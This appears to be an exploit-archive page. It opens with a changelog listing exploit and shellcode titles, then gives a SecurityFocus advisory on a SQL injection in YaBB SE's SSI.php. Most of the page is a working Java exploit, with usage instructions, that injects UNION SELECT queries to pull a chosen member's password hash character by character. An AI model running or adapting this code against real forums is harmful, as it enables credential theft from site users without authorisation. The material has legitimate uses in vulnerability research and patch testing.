
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
59 lines
No EOL
2 KiB
Java
59 lines
No EOL
2 KiB
Java
source: https://www.securityfocus.com/bid/9449/info
|
|
|
|
A problem with YaBB SE could make it possible for a remote user launch SQL injection attacks.
|
|
|
|
It has been reported that a problem exists in the SSI.php script distributed as part of YaBB SE. Due to insufficient sanitizing of user-supplied URI parameters, it is possible for a remote user to inject arbitrary SQL queries into the database used by YaBB SE. This could permit remote attackers to pass malicious input to database queries, resulting in modification of query logic or other attacks.
|
|
|
|
/*
|
|
* YabbSe SQL Injection test code
|
|
* The code is very ugly but it works OK
|
|
* Use at your own risk.
|
|
* compile:
|
|
* javac yabb.java
|
|
* exec:
|
|
* java yabb http://localhost/yabbse/yabbse154/ yabbse_ 1
|
|
* parameters are:
|
|
* java yabb [url with path] [database_prefix] [ID_MEMBER]
|
|
*/
|
|
import java.net.*;
|
|
import java.io.*;
|
|
|
|
public class yabb {
|
|
public static void main(String[] args) throws Exception {
|
|
|
|
boolean lastChar = false;
|
|
String Key = "";
|
|
|
|
for ( int count=1; count <= 32 ; count++)
|
|
{
|
|
URL yabbForum = new URL(args[0] +
|
|
"SSI.php?function=welcome&username=evilhaxor&ID_MEMBER=1%20OR%201=2)%20GROUP
|
|
%20BY%20readBy%20UNION%20SELECT%20ASCII(SUBSTRING(passwd,"+count+",1)%20)%20
|
|
%20,%20%200%20FROM%20"+args[1]+"members%20WHERE%20ID_MEMBER="+args[2]+"/*");
|
|
|
|
BufferedReader in = new BufferedReader(new
|
|
InputStreamReader(yabbForum.openStream()));
|
|
|
|
String inputLine;
|
|
|
|
inputLine = in.readLine();
|
|
|
|
int pos = inputLine.indexOf("action=im");
|
|
int pos2 = inputLine.indexOf(" ", pos + 11);
|
|
|
|
if ( pos < 0 )
|
|
{
|
|
System.out.println("ERROR: The server doesn't return any data");
|
|
System.exit(0);
|
|
}
|
|
|
|
String theNumber = inputLine.substring( pos + 11, pos2);
|
|
|
|
System.out.println(theNumber + "-" + new
|
|
Character((char)Integer.parseInt(theNumber.trim())).toString());
|
|
Key += new Character((char)Integer.parseInt(theNumber.trim())).toString();
|
|
in.close();
|
|
}
|
|
System.out.println("Hashed password : " + Key);
|
|
}
|
|
} |